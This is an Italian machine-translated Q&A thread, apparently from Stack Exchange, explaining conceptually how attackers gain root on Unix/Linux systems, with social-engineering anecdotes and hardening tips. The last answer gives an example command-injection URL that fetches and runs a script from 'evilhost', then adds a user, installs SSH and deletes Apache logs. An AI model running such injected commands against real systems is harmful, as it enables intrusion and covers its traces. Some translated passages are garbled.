Come fanno esattamente le persone a "crackare" i sistemi Unix / Linux?


13

Non sto cercando di diventare un cracker o qualcosa del genere, ma sto cercando di capire il processo (più dal punto di vista della programmazione).

Quindi immagino (indovinando) l'obiettivo principale di un cracker è ottenere l'accesso come root per installare qualunque software (o script) abbia scritto giusto? o forse installando il proprio modulo kernal (che è subdolo per qualsiasi motivo) Come fa esattamente una persona a fare questo?

So che le persone usano gli script per controllare gli exploit ...... ma non vedo come, e non vedo esattamente cosa fanno con loro una volta che li trovano? Stanno controllando le versioni per exploit noti ...... e poi una volta che ne trovano uno .......

So che sembra tutto molto nuovo. ma sto solo cercando di farmi un'idea di come funziona dal momento che so che i sistemi Linux / Unix dovrebbero essere molto sicuri, ma sto cercando di capire come qualcuno potrebbe persino procedere (il processo) per ottenere l'accesso root.

Risposte:


14

Ci sono innumerevoli motivi per cui si potrebbe provare a compromettere la sicurezza di un sistema. A grandi linee:

  • Per utilizzare le risorse del sistema (ad es. Inviare spam, inoltro del traffico)
  • Acquisire informazioni sul sistema (ad es. Ottenere i dati dei clienti da un sito di e-commerce).
  • Per modificare le informazioni sul sistema (ad es. Cancellare un sito Web, creare false informazioni, rimuovere informazioni)

Solo a volte queste cose richiedono l'accesso come root. Ad esempio, l'immissione di una query di ricerca non valida su un sito che non disinfetta correttamente l'input dell'utente può rivelare informazioni dal database del sito, come nomi utente / password, indirizzi e-mail, ecc.

Molti criminali informatici sono solo "kiddies di script"; vale a dire persone che in realtà non capiscono la sicurezza dei sistemi, e potrebbero anche non scrivere codice, ma eseguire exploit scritti da altri. Questi di solito sono abbastanza facilmente difesi perché non hanno la capacità di adattarsi; si limitano a sfruttare le vulnerabilità note. (Anche se possono sfruttare le botnet - grandi gruppi di computer compromessi - il che può comportare un pericolo di attacchi DDoS.)

Per l'attaccante esperto, il processo procede in questo modo:

  1. Scopri qual è l'obiettivo e quanto vale l'obiettivo. La sicurezza - mantenerla o comprometterla - è un calcolo rischio / rendimento. Quanto più rischioso e costoso sarà, tanto più avvincente sarà la ricompensa per rendere utile un attacco.

  2. Considerate tutte le parti in movimento in questo senso tutto ciò che l'obiettivo è - per esempio, se si desidera inviare lo spam, si potrebbe attaccare il server di posta, ma può avere più senso di andare dopo un altro servizio di rete rivolta, come tutti si ha realmente necessità è l'uso della connessione di rete del bersaglio. Se desideri dati utente, inizieresti a guardare il server di database, la webapp e il server web che hanno la possibilità di accedervi, il sistema di cui è stato eseguito il backup, ecc.

    Non scartare mai il fattore umano. Proteggere un sistema informatico è molto più facile che proteggere il comportamento umano. Chiedere a qualcuno di rivelare informazioni che non dovrebbero, o eseguire codice che non dovrebbero, è sia semplice che efficace. Al college, ho vinto una scommessa con un amico che ha coinvolto irrompere nella sua rete aziendale super sicura indossando un abito rivelatore e imbattendosi in un vicepresidente lascivo - l'esperienza tecnica del mio amico ha superato di gran lunga la mia, ma niente supera il potere di un 17anni co-ed in una gonna corta!

    Se ti mancano le tette, considera di offrire un gioco inutile o qualcosa che gli idioti scaricheranno per divertimento senza considerare cosa potrebbe davvero fare.

  3. Guarda ogni parte che hai identificato e considera cosa può fare e come potrebbe essere ottimizzato per fare quello che vuoi - forse l'help desk reimposta frequentemente le password per gli utenti senza identificare correttamente il chiamante e chiamandole che suoneranno confuse procurarti la password di qualcun altro. Forse la webapp non sta controllando ciò che viene messo nella casella di ricerca per assicurarsi che non sia un codice prima di attaccarlo in una funzione che esegue. I compromessi di sicurezza di solito iniziano con qualcosa di intenzionalmente esposto che può essere fatto per comportarsi in un modo che non dovrebbe.


3
dopo aver letto, sono ancora curioso di sapere quali informazioni un vice presidente lascivo potrebbe fornire in una conversazione informale che ti farebbe vincere quella scommessa.
justin cress,

1
@justin: Ho detto che ero lì per vedere $ friend re: un progetto scolastico, ma era fuori dall'ufficio. Ho lasciato che il vicepresidente mi mostrasse alcune cose banali sul sistema informatico, ed era troppo distratto fissandomi per notare che lo osservavo mentre inseriva la sua password. Aveva un accesso legittimo al drive a cui avrei dovuto accedere per vincere la scommessa.
HedgeMage,

1
Sono completamente d'accordo, il social engineering è molto più semplice degli overflow dell'heap. ti piacerà davvero questo archive.cert.uni-stuttgart.de/isn/2006/01/msg00055.html
Rohan Monga,

"Se ti mancano le tette, considera di offrire un gioco inutile o qualcosa del genere" ... sul serio? Li metti entrambi nella stessa categoria di efficacia ?! :)
Roopesh Shenoy,

2
"Considera di offrire un gioco inutile o qualcosa che gli idioti scaricheranno per divertimento ..." - Ahh, questa è l'idea alla base di Farmville ed Evony.
Shadur,

4

Il più grande fattore è il tipo di accesso che l'attaccante ha. Se hanno accesso fisico, sei fregato. Se ti preoccupi solo dell'accesso remoto, dipende da cosa hai in esecuzione; una buona configurazione è tutto. Un server Linux standard probabilmente eseguirà ftp, ssh, http, https e mysql. SSH è sicuro, ma non consentirei i login di root e una buona password su ogni account è d'obbligo. FTP è incostante. Se hai VSFTP e chroot i tuoi utenti, allora è molto sicuro. Diverse altre versioni hanno vulnerabilità note. HTTP sarà probabilmente la tua area più vulnerabile. La tua più grande preoccupazione qui è tutto ciò che esegue i file sul sistema o carica i file sul sistema. L'iniezione di SQL è MOLTO difficile se il tuo sito Web è realizzato in PHP5. Un gruppo di studenti di sicurezza e io abbiamo provato per settimane iniezioni di SQL su un sito Web PHP5 non autenticato e non hanno avuto successo. Con MySQL assicurati di utilizzare un utente non root e limitalo al login solo dal tuo server Apache.

Ci sono un paio di plugin di Firefox per testare le vulnerabilità del sito Web: accedimi, xss me e sql iniettami

Alcune grandi cose che farei sempre alle competizioni per garantire che la sicurezza sia la corsa:

  • netstat - verifica porte e connessioni aperte,
  • w - chi ha effettuato l'accesso, per quanto tempo,
  • Controlla i log per gli accessi,
  • bash history per comandi eseguiti,
  • ps - comandi in esecuzione,
  • /etc/passwd per utenti extra
  • /etc/sudoers per accesso sudo.

In genere dopo aver ottenuto l'accesso, un utente malintenzionato vuole ottenere il root. Esistono attualmente alcune vulnerabilità di escalation di privilegi che consentirebbero a un utente normale di ottenere il root. Successivamente, vogliono aprirlo per un accesso successivo aggiungendo utenti e aprendo backdoor.

Ecco il sito web di cyber defence della mia scuola. Sentiti libero di guardarti intorno e porre alcune domande: https://thislink.doesntexist.org/


2

La sicurezza di un sistema dipende dalle capacità degli amministratori, quindi è un po 'sbagliato dire "I sistemi Linux / Unix dovrebbero essere molto sicuri" :)

Ora per fare hacking ... Esiste una sorta di strumenti chiamati " scanner di vulnerabilità " come Nessus che cerca cose da sfruttare. Ci sono migliaia di cose che possono andare storte in un sistema complesso, come un server Apache mal configurato per consentire il caricamento di file arbitrari in luoghi arbitrari. Questi possono fungere da trampolino di lancio per ulteriori exploit, come ottenere l'accesso a un database o un account di posta elettronica da cui è possibile ripristinare le password tramite la funzione "dimentica password".

A volte un trucco è ottenere l'accesso e fare qualcosa di malvagio. A volte le persone lo fanno per divertimento (il che è stupido, a proposito).

E, ecco la storia di un famoso hack che è successo abbastanza di recente. Penso che sarà illustrativo per chiunque stia guardando la sicurezza! Per citare un riepilogo degli exploit:

Un'applicazione Web con difetti di iniezione SQL e password non sicure. Password che sono state scelte male. Password riutilizzate. Server che hanno consentito l'autenticazione basata su password. Sistemi che non sono stati patchati. E una sorprendente volontà di distribuire credenziali via e-mail, anche quando la persona a cui era stato chiesto avrebbe dovuto rendersi conto che qualcosa non andava.


1

Ci sono così tanti vettori di attacco da essere quasi infiniti. Uno dei più semplici concettualmente è rendere un programma pubblicamente disponibile e dire che fa qualcosa di diverso da quello che fa davvero. Dai agli utenti istruzioni intuitive con sudoa all'inizio e osserva il boom del mondo. Ciò accade ogni giorno con programmi a sorgente chiuso, poiché è impossibile per una singola persona ispezionarne in anticipo il funzionamento, come si può vedere ad esempio dai CD di Sony .

Puoi anche provare a inviare stringhe speciali a un host remoto. Per un esempio di alto livello, supponiamo che tu abbia un server web con alcuni software in esecuzione su di esso e che il software esegua parte dell'URL come comando senza scappare o altrimenti assicurando che non possa fare alcun danno. Invia qualcosa di simile http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh. Decodificata, la stringa di ricerca diventa . Se viene eseguito, script.sh verrebbe eseguito con gli stessi diritti di accesso dell'utente del server Web per fare qualsiasi cosa sulla macchina. A volte le persone lasciano che queste funzionino come radice per "convenienza", in questo caso sinonimo di pigrizia e / o mancanza di chiarezza. Anche se non viene eseguito come root, quello script potrebbe quindi eseguire migliaia di test per altri buchi nel software installato ed eseguire un altro comando se ne trova uno. L'ultimo comando potrebbe essere ad esempiofoo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.shuseradd blabla; apt-get install openssh; rm /var/log/apache.log, per ottenere l'accesso SSH e rimuovere le tracce dell'irruzione.

[i comandi erano ovviamente semplificati e probabilmente non funzionavano comunque. YMMV]

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.